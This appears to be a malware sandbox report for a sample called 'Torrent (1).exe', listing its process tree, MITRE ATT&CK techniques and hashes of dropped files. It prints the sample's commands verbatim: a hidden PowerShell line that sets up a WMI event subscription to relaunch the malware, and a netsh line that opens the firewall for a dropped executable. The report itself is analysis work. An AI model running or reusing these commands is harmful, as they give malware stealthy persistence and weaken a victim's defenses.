      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3276,i,10881996758099436783,1734675464927978760,2097152 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:1
      4⤵
      PID:5740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,18306251595062652075,13582356069795090239,2097152 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:1
      4⤵
      PID:2160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,8788912173098322606,9179502250486134793,2097152 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:9
      4⤵
      PID:2164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,16623437386580136391,12788775349722985251,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
      4⤵
      PID:4536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,1869566462412117186,11215697316237255395,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:14
      4⤵
      PID:2676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,11272989222814064118,1617588247287251859,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
      4⤵
      PID:1896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5984,i,11797894893716943658,5332584540013969021,2097152 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=3884 /prefetch:1
      4⤵
      PID:1656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,6613137367876071664,11608397185579942228,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
      4⤵
      PID:3984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,6613137367876071664,11608397185579942228,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
      4⤵
      PID:5060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6596,i,5018109424938203131,9320474839818711806,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:14
      4⤵
      PID:996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,16292026382335786202,13498157019650526463,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:14
      4⤵
      PID:3452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,3473823906275807901,15457502011931995823,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:14
      4⤵
      PID:6828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,10471360890918613923,3596074881635947551,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:14
      4⤵
      PID:6836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,11366403143683628352,931629513186583164,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:14
      4⤵
      PID:6844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4836,i,14209844028805167603,10623149991520727039,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:14
      4⤵
      PID:248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,13515994603274085005,8074732372007750716,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
      4⤵
      PID:6544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,9041106076312958795,14734464619320345371,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:14
      4⤵
      PID:2716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5420,i,7120545809521436828,5675824673470176938,262144 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:10
      4⤵
      PID:1780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4912,i,4713740047246403653,16253083134457663207,524288 --field-trial-handle=2160,i,11429521360521278030,9114424026475680383,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:14
      4⤵
      PID:760
- C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
  "C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Torrent (1).js"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Users\Admin\AppData\Local\Temp\1ek1WXFZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1ek1WXFZ.exe"
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6132
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\1ek1WXFZ.exe" "1ek1WXFZ.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:5268
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Torrent (1).vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - System Location Discovery: System Language Discovery
  PID:3140
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Torrent (2).js"
  2⤵
  - Creates a file in the Startup directory
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\SysWOW64\wscript.exe
    "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Torrent (2).js"
    3⤵
    - Badlisted process makes network request
    - Creates a file in the Startup directory
    - Adds Run key to start application
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:3644
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Torrent (3).JS"
  2⤵
  - Creates a file in the Startup directory
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3652
- - C:\Windows\SysWOW64\wscript.exe
    "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Torrent (3).JS"
    3⤵
    - Badlisted process makes network request
    - Creates a file in the Startup directory
    - Adds Run key to start application
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5932

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe"
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2980

C:\Windows\1ek1WXFZ_cache\1ek1WXFZ.exe
C:\Windows\1ek1WXFZ_cache\1ek1WXFZ.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6128

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5360

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1052

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6232

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:7048

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1896

C:\Users\Admin\AppData\Local\Temp\Torrent (1).exe
"C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe"
1⤵
PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SysHealth';EventNameSpace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'};$c=Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SysHealthC';CommandLineTemplate='C:\\Users\\Admin\\AppData\\Local\\Temp\\Torrent (1).exe'};Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2531877d-daf9-43c4-8a28-b189c81b0402.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\2531877d-daf9-43c4-8a28-b189c81b0402.tmp
Size 37KB
SHA256 b6bd5e400a46c1f74988f192816f0f0ada455a6eabe03200424fa9f7a4519057
MD5 0d38803a40d71f60edf77c7acec8af3f
SHA1 c45bfcb6477d9d37a8dc5dcd64e528380220b901
SHA512 eea2922ebd188bfeb4921326128975071f5812b78d5e3f9ca35ec91c504e416491c0201178fb8f64f1868e894908acc5370fda785a486d724c387c5dab77afe1
SSDEEP 768:R/UxvxjgC+W3T1oc7fZrK+ktZp5XSwQs88uBkiTCg/P84g:kZj3+W3TltrdIILNBNHg
TLSH
T17403D039E8945873ACF39381365A275BAFF06153C0C40B988AEE7A1F028B75D6707C97
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

565c74e4-dc1d-4f75-8c34-8552eed9f487.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\565c74e4-dc1d-4f75-8c34-8552eed9f487.tmp
Size 33KB
SHA256 814e580d36ba6bc8b6d28dbdd36c9bc3a6497f6046cab1a06e10c74835c6d073
MD5 6b84309176987e863686f9c4942bbb8c
SHA1 c460e0e07c0a4cddda168d3b8938fe1ec52ed9e9
SHA512 ba2e0576f2ced6f5a221066d1279ce08de06eaffd66c015bc05274fedc199386feca34402f1593d08daeebffd3688353f987e34d02e016416f1d39e417dbe9ae
SSDEEP 768:0939gDlqCspc7fZrK+ktOHAp5XSwQs88uBkiT2HE75EVLr:0939gQCRtrdl+ILNBWkW3
TLSH
T10AF2BE38F8949CB3ACF79341765A3757AEF06147C8C40A84C9DEA61E018779E3B4B81B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

645b4f63-4ba5-45db-b8c6-84339cc0c6ae.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\645b4f63-4ba5-45db-b8c6-84339cc0c6ae.tmp
Size 38KB
SHA256 23bf9a383877fb41106512749d8fd738b9413e2178405e12b0a1835fb9c06377
MD5 78b5c0fe4c1b3ec501d3de20a29a56ba
SHA1 78e9be9da3a37073728d23da102d21376d746284
SHA512 b4bf65abb1daa8aef7c5b944560ca4e69189b5ab8ef9c97513c8ab6dfe153eeeb2384f473b39e918369fb2a2764abdf3414ce4949658f16374ca3ac31456e979
SSDEEP 768:S/UxvxjgC+W3fZ3c7fZrK+ktOHsp5XSwQs88uBkiTzH/P84g:XZj3+W3fKtrdlSILNB5Hg
TLSH
T1F003C039F8945C73BCF79351365A275FAFF0216384C40E9889EEAA0E028775D2B4B857
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

88a07403-9bf3-431e-a7a4-f64cd16cd1ce.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\88a07403-9bf3-431e-a7a4-f64cd16cd1ce.tmp
Size 37KB
SHA256 bb1312455d824c5bad4a77326c1e76e878596c997428d80f67ea91e85e924af5
MD5 b4818433a838d987635365413d5c4f98
SHA1 f2472ac120ba6a6eb10d353c4bee8849775e8032
SHA512 28cd30be0ebfb87e5af5904958d00d564048788ede6cb15df22f2e3c06f7911e234bc73ffd685958da019a8d82c889e08f04982953ef1534fde4f49827e1b2c4
SSDEEP 768:CFsQ3hwgEgDlqCsRAerK+ktOHN1p5XSwQs88uBkiT2HE75EVLr:5Q3kgQCYrdlt7ILNBWkW3
TLSH
T14D038C39E884CA77ACF38781B7493757AEE01197C8D849D4DACAAD0D00C72DE274BC56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a0b193400a27c0cdf94ac11f5fb5b0747828b5b461169cefeffb96191b9e4834
MD5 edaab58c014c1abbfa900853b2ab2696
SHA1 e35eb02c0343d109af1ddd7dbd39dee3b989aea3
SHA512 b3cca7ed39fd4708b9c01cbefd67aab972f585372e01b5fa39d4a0840a7f579725d1202ab2916cda4e7635fb16dbc74178888461c7b6a2b3ea91d273ce2909ea
TLSH
T1BBD02B75F96ECC23E85204F940D24208329775818C0441812601CC080A603850000182
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 932f01682de6215b2c3b5faeb96a07b886e28db2ff6f8242a36da556c4292464
MD5 667b54168424526a7188593696f59ace
SHA1 deeb9f5ad1bccaabad57a386f08ba0c0740b2f81
SHA512 698f5a88d262c546b9bf21ead67e8dbe00ce6bd13f196761a5910f59ff69ca7532cacdf03c070f8d3b9f5d4fb8990b358e9b60ace9e48a0848e4a9da1d92b3ed
TLSH
T1D4D02B79F95ECD23E85204F540D1420832A77581DC04418125018C080A603850001182
MD5 SHA1 SHA512 TLSH

Submit Download

11a1584e-80a6-495b-afe6-a962238a8cd2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\11a1584e-80a6-495b-afe6-a962238a8cd2.tmp
Size 12KB
SHA256 62dcecece79b47f4be95d97f507be1106960e0c250a5e36ced71537db57d3bbe
MD5 64c93f7bbdd0b05c102c724a5bdf22f2
SHA1 d82cac69561af15ad5919d10189a735f7406963f
SHA512 b269ccb032354dfa49f592ccf555ae89a325343f1c34d6191252cc8222eb7596906936665004fa0dc08212cadb766791d60fce4866f36a78a70952a16aaea75c
SSDEEP 192:sxRJR+CT/f/sXyYZrsHzoA8p9N/g6+WN/vQ/RwH+EFW8G5IgDSKJ:sxRJHT/f/sXymr/7/5Q/7t
TLSH
T12142B715AD28AD3B8CCBD21DBA55BF67D2F91032A0941F48A6FC9A1C04E77DD620780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2418bb64-90eb-4cdd-9837-63a29b7f1b13.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2418bb64-90eb-4cdd-9837-63a29b7f1b13.tmp
Size 12KB
SHA256 200e86b69f54a94843b1e2cb4a486098cec26851efd43ff13099dbb6625ff497
MD5 86d59dc6b90e3099bb1c19c6d6eeb8da
SHA1 c6756352bfc86d37eb4843e1d0aafecd6644d6ae
SHA512 f67b26f132bd7b39eb557936f4078fc646026d57da3fbc6afdff751f5ec03fce4f9bc515a517a02202cb3d4ad1f38d37ab28e4bb6f49d92d00565770162e4388
SSDEEP 192:sxRJR+CT/f/sWyYZrsHzoA8p9N/g6+WN/vQ/RwH+EXa8G5IgDoKJ:sxRJHT/f/sWymr/7/5Q/rj
TLSH
T1A842B819AD28AD7B9CCBD21DB755BF63E2F91032A0901F44A6FC9A1C14E77DD620780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6acdb8b3-f205-47ce-abff-7324c406e29d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6acdb8b3-f205-47ce-abff-7324c406e29d.tmp
Size 12KB
SHA256 d84ea56573790ed1879ba8ad4ba7cba6ca82af354997e55795739719618a6f0c
MD5 b9ef6221ba66384b39439c986de8b884
SHA1 e2739a3700968874f42fc4d923a42dda4df35d78
SHA512 bf71856000b6ce4bb4f56044fa81c549ce9b8c2105c0a208e64a7f6ec33227a9bd213f1e2767cfaa232fb4bdf7a18f9c408cfb1bd5984c6b55b96f392c80130d
SSDEEP 192:sxRGR+CT/f/sgyHRdHzoA8p9N/g6+WN/vQ/RwH+EFWmG5IgVKJ:sxRGHT/f/sgyS7/5Q/Bk
TLSH
T1A542B819AD28A93B5CCBD21DBA65BF67D2F91032A0D01F44E6FC9A1C14E76DD620780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

75112fe1-924c-429f-8ddd-50ba69d54af0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\75112fe1-924c-429f-8ddd-50ba69d54af0.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000021

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000021
Size 54KB
SHA256 b02011c313d34b08e81cdb34a92fc0177527e173d3cf55f0a58ea582b8270372
MD5 93553237fa67539b53bb1e66000d5b30
SHA1 8053a201ee25815a61569c1838be627d852b497c
